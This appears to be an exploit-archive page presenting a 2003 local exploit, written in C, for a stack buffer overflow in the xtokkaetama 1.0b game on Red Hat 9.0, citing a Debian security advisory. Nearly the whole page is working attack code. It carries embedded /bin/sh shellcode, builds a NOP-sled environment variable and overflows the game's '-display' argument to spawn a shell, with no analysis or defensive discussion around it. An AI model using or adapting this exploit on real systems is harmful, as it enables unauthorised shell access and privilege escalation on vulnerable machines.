xtokkaetama 1.0b local game exploit on Red Hat 9.0

    
 
     * Version TXT Disponible ici *
/*
                              *  xtokkaetama 1.0b local game exploit on Red Hat 9.0
                              *               Coded by brahma (31/07/2003)
                              *
                              *       http://www.debian.org/security/2003/dsa-356
                              */


                              #include 
                              #define RETADDR 0xbfffff11 
                              #define DEFAULT_BUFFER_SIZE 29
                              #define DEFAULT_EGG_SIZE 512 
                              #define NOP 0x90
                              #define BIN "/usr/X11R6/bin/xtokkaetama" 
                              char shellcode[] =
                              "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
                              "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                              "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                              unsigned long get_esp(void) {
                              __asm__("movl %esp,%eax");
                              }

                              void main(int argc, char *argv[]) {
                              char *buff, *ptr, *egg;
                              long *addr_ptr, addr;
                              int bsize=DEFAULT_BUFFER_SIZE;
                              int i, eggsize=DEFAULT_EGG_SIZE;

                              if (argc > 1) bsize = atoi(argv[1]);
                              if (argc > 2) eggsize = atoi(argv[2]);


                              if (!(buff = malloc(bsize))) {
                              printf("Can't allocate memory.\n");
                              exit(0);
                              }
                              if (!(egg = malloc(eggsize))) {
                              printf("Can't allocate memory.\n");
                              exit(0);
                              }

                              addr = RETADDR; 
                              printf("Using address: 0x%x\n", addr);

                              ptr = buff;
                              addr_ptr = (long *) ptr;
                              for (i = 0; i < bsize; i+=4)
                              *(addr_ptr++) = addr;

                              ptr = egg;
                              for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                              *(ptr++) = NOP;

                              for (i = 0; i < strlen(shellcode); i++)
                              *(ptr++) = shellcode[i];

                              buff[bsize - 1] = '\0';
                              egg[eggsize - 1] = '\0';

                              memcpy(egg,"EGG=",4);
                              putenv(egg);
                              execl(BIN,BIN,"-display",buff,NULL);
                              }
                              

   

   

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